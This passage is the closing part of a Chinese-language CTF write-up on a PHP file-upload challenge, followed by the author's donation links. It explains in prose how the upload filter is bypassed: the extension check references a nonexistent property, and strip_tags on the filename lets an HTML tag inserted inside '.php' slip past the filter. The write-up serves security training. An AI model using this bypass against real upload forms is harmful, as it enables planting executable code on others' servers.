题目源码中的allowexts属性也是不存在的,设置的限制没用上,关键在于处理上传文件信息的时候他把文件名字用strip_tags函数处理了,直接在.php之间插一个html标签就绕过去了,就是不知道为啥只要上传的文件内容是正确的php代码,得到的文件地址打开就是flag


第四页结束了

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

muhua WeChat Pay

WeChat Pay

muhua Alipay

Alipay

muhua PayPal

PayPal